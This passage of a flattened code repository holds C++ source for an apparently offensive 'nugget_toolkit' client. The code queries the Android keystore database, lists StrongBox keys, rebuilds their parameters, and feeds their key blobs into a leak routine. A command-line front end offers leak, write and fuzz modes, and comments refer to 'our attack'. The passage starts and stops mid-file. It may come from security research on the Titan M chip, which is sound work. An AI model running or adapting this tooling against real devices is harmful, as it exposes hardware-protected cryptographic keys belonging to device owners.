sqlite3_bind_int64(stmt, 2, (sqlite3_int64) static_cast(::keymint::Tag::KEY_SIZE)); 42 | 43 | if (sqlite3_step(stmt) == SQLITE_DONE) { 44 | cerr << "No such data" << endl; 45 | return -1; 46 | } 47 | 48 | size = sqlite3_value_int64(sqlite3_column_value(stmt, 0)); 49 | 50 | sqlite3_finalize(stmt); 51 | 52 | return size; 53 | } 54 | 55 | void KeyblobUtils::addParam(keymaster::KeyParameters *params, 56 | ::keymaster::Tag tag, int64_t data) { 57 | ::keymaster::KeyParameter *param = params->add_params(); 58 | param->set_tag(tag); 59 | param->set_integer(data); 60 | } 61 | 62 | void KeyblobUtils::fillKeymasterParam(keymaster::KeyParameters *params, 63 | int64_t keymintTag, int64_t data) { 64 | const std::pair<::keymaster::Tag, std::map> &p = 65 | keyparameters_map.at(keymintTag); 66 | 67 | if (p.second.empty()) { 68 | addParam(params, p.first, data); 69 | } else if (p.second.count(data)) { 70 | addParam(params, p.first, p.second.at(data)); 71 | } else 72 | cout << "Unused data " << data << " : " << p.second.count(data) << " for " 73 | << keymintTag << endl; 74 | } 75 | 76 | /* 77 | * Get key info and return them in keymaster format 78 | */ 79 | int KeyblobUtils::getKeyParametersFromDB(int64_t keyid, 80 | ::keymaster::KeyParameters *params) { 81 | sqlite3_stmt *stmt; 82 | std::string query = "select data from keyparameter where keyentryid == ? and tag == ?;"; 83 | 84 | // TODO: make sure that the key does not require user authentication 85 | // Since our attack won't work if it is the case 86 | for (auto const &[keymintTag, val] : keyparameters_map) { 87 | sqlite3_prepare_v2(db, query.c_str(), -1, &stmt, NULL); 88 | sqlite3_bind_int64(stmt, 1, (sqlite3_int64) keyid); 89 | sqlite3_bind_int64(stmt, 2, (sqlite3_int64) keymintTag); 90 | 91 | // Only keep one parameter per type 92 | if (sqlite3_step(stmt) != SQLITE_DONE) 93 | fillKeymasterParam(params, keymintTag, 94 | sqlite3_value_int64(sqlite3_column_value( 95 | stmt, 0))); 96 | 97 | sqlite3_reset(stmt); 98 | } 99 | 100 | return 0; 101 | } 102 | 103 | /* 104 | * Get keyblob and return it in keymaster format 105 | */ 106 | ::keymaster::KeyBlob *KeyblobUtils::getKeyblobFromDB(int64_t keyid) { 107 | sqlite3_stmt *stmt; 108 | 109 | std::ostringstream db_request; 110 | int64_t blobsize = 0; 111 | keymaster::KeyBlob *kb = new keymaster::KeyBlob(); 112 | 113 | // get blob 114 | std::string query = "select blob from blobentry where keyentryid == ?;"; 115 | 116 | sqlite3_prepare_v2(db, query.c_str(), -1, &stmt, NULL); 117 | sqlite3_bind_int64(stmt, 1, (sqlite3_int64) keyid); 118 | 119 | if (sqlite3_step(stmt) == SQLITE_DONE) cerr << "No keyblob" << endl; 120 | 121 | blobsize = sqlite3_column_bytes(stmt, 0); 122 | uint8_t *buf = (uint8_t *)sqlite3_column_blob(stmt, 0); 123 | 124 | kb->set_blob((void *)(buf + 8), 125 | (size_t)blobsize - 8); // hack:: skip the first 8 bytes 126 | 127 | sqlite3_finalize(stmt); 128 | 129 | return kb; 130 | } 131 | 132 | /* 133 | * Leak strongbox key by name 134 | */ 135 | int KeyblobUtils::leakStrongboxKey(string name) { 136 | sqlite3_stmt *stmt; 137 | 138 | nugget::app::keymaster::KeyParameters *params; 139 | 140 | std::string query = "select id from keyentry INNER JOIN (select distinct keyentryid from " 141 | "keyparameter where security_level=2 and tag == 268435458 and data == " 142 | "32) StrongboxID on StrongboxID.keyentryid == id where alias == ?;"; 143 | 144 | // TODO: make sure that the key does not require user authentication 145 | sqlite3_prepare_v2(db, query.c_str(), -1, &stmt, NULL); 146 | sqlite3_bind_text(stmt, 1, name.c_str(), name.length(), SQLITE_STATIC); 147 | 148 | 149 | if (sqlite3_step(stmt) == SQLITE_DONE) { 150 | cerr << "No strongbox key named " << name << " found" << endl; 151 | return -1; 152 | } 153 | 154 | params = new nugget::app::keymaster::KeyParameters(); 155 | int64_t id = sqlite3_value_int64(sqlite3_column_value(stmt, 0)); 156 | 157 | getKeyParametersFromDB(id, params); 158 | 159 | keymaster::KeyBlob *kb = getKeyblobFromDB(id); 160 | leak_kb(kb, params, getKeySizeFromDB(id) / 8); // takes the size in bytes 161 | 162 | sqlite3_finalize(stmt); 163 | 164 | return 0; 165 | } 166 | 167 | /* 168 | * List all strongbox keys 169 | */ 170 | int KeyblobUtils::listStrongboxKeys() { 171 | sqlite3_stmt *stmt; 172 | 173 | // TODO: make sure that the key does not require user authentication 174 | sqlite3_prepare_v2( 175 | db, 176 | "select id, alias from keyentry INNER JOIN (select distinct keyentryid " 177 | "from keyparameter where security_level=2 and tag == 268435458 and data " 178 | "== 32) StrongboxID on " // only select AES keys store id in strongbox 179 | "StrongboxID.keyentryid == id;", 180 | -1, &stmt, NULL); 181 | 182 | while (sqlite3_step(stmt) != SQLITE_DONE) { 183 | int64_t id = sqlite3_value_int64(sqlite3_column_value(stmt, 0)); 184 | 185 | cout << "- Key name: " << sqlite3_column_text(stmt, 1) 186 | << " (size: " << getKeySizeFromDB(id) << ")" 187 | << endl; // takes the size in bytes 188 | } 189 | 190 | sqlite3_finalize(stmt); 191 | 192 | return 0; 193 | } 194 | -------------------------------------------------------------------------------- /nugget_toolkit/client/keyblob_utils.h: -------------------------------------------------------------------------------- 1 | #ifndef _KEYBLOB_UTILS_H 2 | #define _KEYBLOB_UTILS_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define KEYSTOREDB_PATH "/data/misc/keystore/persistent.sqlite" 16 | 17 | using namespace ::nugget::app; 18 | 19 | class KeyblobUtils { 20 | private: 21 | sqlite3* db; 22 | void addParam(keymaster::KeyParameters* params, ::keymaster::Tag tag, 23 | int64_t data); 24 | 25 | public: 26 | KeyblobUtils(); 27 | KeyblobUtils(char const* db_name); 28 | ~KeyblobUtils(); 29 | void fillKeymasterParam(::keymaster::KeyParameters* params, 30 | int64_t keymintTag, int64_t data); 31 | int getKeyParametersFromDB(int64_t keyid, ::keymaster::KeyParameters* params); 32 | ::keymaster::KeyBlob* getKeyblobFromDB(int64_t keyid); 33 | int64_t getKeySizeFromDB(int64_t keyid); 34 | int listStrongboxKeys(); 35 | int leakStrongboxKey(std::string name); 36 | }; 37 | 38 | inline const std::map padding_map = { 39 | {static_cast(::keymint::PaddingMode::NONE), 40 | static_cast(::keymaster::PaddingMode::PADDING_NONE)}, 41 | {static_cast(::keymint::PaddingMode::RSA_OAEP), 42 | static_cast(::keymaster::PaddingMode::PADDING_RSA_OAEP)}, 43 | {static_cast(::keymint::PaddingMode::RSA_PSS), 44 | static_cast(::keymaster::PaddingMode::PADDING_RSA_PSS)}, 45 | {static_cast(::keymint::PaddingMode::RSA_PKCS1_1_5_ENCRYPT), 46 | static_cast( 47 | ::keymaster::PaddingMode::PADDING_RSA_PKCS1_1_5_ENCRYPT)}, 48 | {static_cast(::keymint::PaddingMode::RSA_PKCS1_1_5_SIGN), 49 | static_cast( 50 | ::keymaster::PaddingMode::PADDING_RSA_PKCS1_1_5_SIGN)}, 51 | {static_cast(::keymint::PaddingMode::PKCS7), 52 | static_cast(::keymaster::PaddingMode::PADDING_PKCS7)}, 53 | }; 54 | 55 | inline const std::map algorithm_map = { 56 | {static_cast(::keymint::Algorithm::RSA), 57 | static_cast(::keymaster::Algorithm::RSA)}, 58 | {static_cast(::keymint::Algorithm::EC), 59 | static_cast(::keymaster::Algorithm::EC)}, 60 | {static_cast(::keymint::Algorithm::AES), 61 | static_cast(::keymaster::Algorithm::AES)}, 62 | {static_cast(::keymint::Algorithm::TRIPLE_DES), 63 | static_cast(::keymaster::Algorithm::DES)}, 64 | {static_cast(::keymint::Algorithm::HMAC), 65 | static_cast(::keymaster::Algorithm::HMAC)}, 66 | }; 67 | 68 | inline const std::map block_mode_map = { 69 | {static_cast(::keymint::BlockMode::ECB), 70 | static_cast(::keymaster::BlockMode::ECB)}, 71 | {static_cast(::keymint::BlockMode::CBC), 72 | static_cast(::keymaster::BlockMode::CBC)}, 73 | {static_cast(::keymint::BlockMode::CTR), 74 | static_cast(::keymaster::BlockMode::CTR)}, 75 | {static_cast(::keymint::BlockMode::GCM), 76 | static_cast(::keymaster::BlockMode::GCM)}, 77 | }; 78 | 79 | inline const std::map key_purpose_map = { 80 | {static_cast(::keymint::KeyPurpose::ENCRYPT), 81 | static_cast(::keymaster::KeyPurpose::ENCRYPT)}, 82 | {static_cast(::keymint::KeyPurpose::DECRYPT), 83 | static_cast(::keymaster::KeyPurpose::DECRYPT)}, 84 | {static_cast(::keymint::KeyPurpose::SIGN), 85 | static_cast(::keymaster::KeyPurpose::SIGN)}, 86 | {static_cast(::keymint::KeyPurpose::VERIFY), 87 | static_cast(::keymaster::KeyPurpose::VERIFY)}, 88 | {static_cast(::keymint::KeyPurpose::WRAP_KEY), 89 | static_cast(::keymaster::KeyPurpose::WRAP_KEY)}, 90 | }; 91 | 92 | inline const std::map digest_map = { 93 | {static_cast(::keymint::Digest::NONE), 94 | static_cast(::keymaster::Digest::DIGEST_NONE)}, 95 | {static_cast(::keymint::Digest::MD5), 96 | static_cast(::keymaster::Digest::DIGEST_MD5)}, 97 | {static_cast(::keymint::Digest::SHA1), 98 | static_cast(::keymaster::Digest::DIGEST_SHA1)}, 99 | {static_cast(::keymint::Digest::SHA_2_224), 100 | static_cast(::keymaster::Digest::DIGEST_SHA_2_224)}, 101 | {static_cast(::keymint::Digest::SHA_2_256), 102 | static_cast(::keymaster::Digest::DIGEST_SHA_2_256)}, 103 | {static_cast(::keymint::Digest::SHA_2_384), 104 | static_cast(::keymaster::Digest::DIGEST_SHA_2_384)}, 105 | {static_cast(::keymint::Digest::SHA_2_512), 106 | static_cast(::keymaster::Digest::DIGEST_SHA_2_512)}, 107 | }; 108 | 109 | inline const std::map ec_curve_map = { 110 | {static_cast(::keymint::EcCurve::P_224), 111 | static_cast(::keymaster::EcCurve::P_224)}, 112 | {static_cast(::keymint::EcCurve::P_256), 113 | static_cast(::keymaster::EcCurve::P_256)}, 114 | {static_cast(::keymint::EcCurve::P_384), 115 | static_cast(::keymaster::EcCurve::P_384)}, 116 | {static_cast(::keymint::EcCurve::P_521), 117 | static_cast(::keymaster::EcCurve::P_521)}, 118 | }; 119 | 120 | inline const std::map>> 122 | keyparameters_map = { 123 | {static_cast(::keymint::Tag::PADDING), 124 | std::make_pair(::keymaster::Tag::PADDING, padding_map)}, 125 | {static_cast(::keymint::Tag::ALGORITHM), 126 | std::make_pair(::keymaster::Tag::ALGORITHM, algorithm_map)}, 127 | {static_cast(::keymint::Tag::KEY_SIZE), 128 | std::make_pair(::keymaster::Tag::KEY_SIZE, 129 | std::map())}, 130 | {static_cast(::keymint::Tag::BLOCK_MODE), 131 | std::make_pair(::keymaster::Tag::BLOCK_MODE, block_mode_map)}, 132 | {static_cast(::keymint::Tag::DIGEST), 133 | std::make_pair(::keymaster::Tag::DIGEST, digest_map)}, 134 | {static_cast(::keymint::Tag::PURPOSE), 135 | std::make_pair(::keymaster::Tag::PURPOSE, key_purpose_map)}, 136 | {static_cast(::keymint::Tag::EC_CURVE), 137 | std::make_pair(::keymaster::Tag::EC_CURVE, ec_curve_map)}, 138 | }; 139 | 140 | #endif // _KEYBLOB_UTILS_H 141 | -------------------------------------------------------------------------------- /nugget_toolkit/client/nosclient.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | using namespace std; 17 | using namespace nostypes; 18 | 19 | void printHelp(char *arg) { 20 | cerr << "Usage:" << endl; 21 | cerr << arg << " cmd [json string for command arguments]" 22 | << std::endl; 23 | cerr << arg << " keyblob" << std::endl; 24 | cerr << arg << " fuzz [--verbose|-v]" << std::endl; 25 | cerr << arg << " reset" << std::endl; 26 | cerr << arg << " leak " << std::endl; 27 | cerr << arg << " leak_old " << std::endl; 28 | cerr << arg << " write " << std::endl; 29 | cerr << arg << " leak_kb [-k ]" << std::endl; 30 | } 31 | 32 | int main(int argc, char *argv[]) { 33 | int c; 34 | enum class mode { 35 | cmd, 36 | keyblob, 37 | fuzz, 38 | reset, 39 | leak, 40 | leak_old, 41 | write, 42 | leak_kb, 43 | help, 44 | none 45 | }; 46 | 47 | mode selected = mode::none; 48 | bool verbose = false; 49 | string address, size; 50 | 51 | static unordered_map mode_map{ 52 | {string("cmd"), mode::cmd}, {string("keyblob"), mode::keyblob}, 53 | {string("fuzz"), mode::fuzz}, {string("reset"), mode::reset}, 54 | {string("leak_old"), mode::leak_old}, {string("leak"), mode::leak}, 55 | {string("write"), mode::write}, {string("help"), mode::help}, 56 | {string("leak_kb"), mode::leak_kb}}; 57 | 58 | enum class option { verbose, list, key }; 59 | set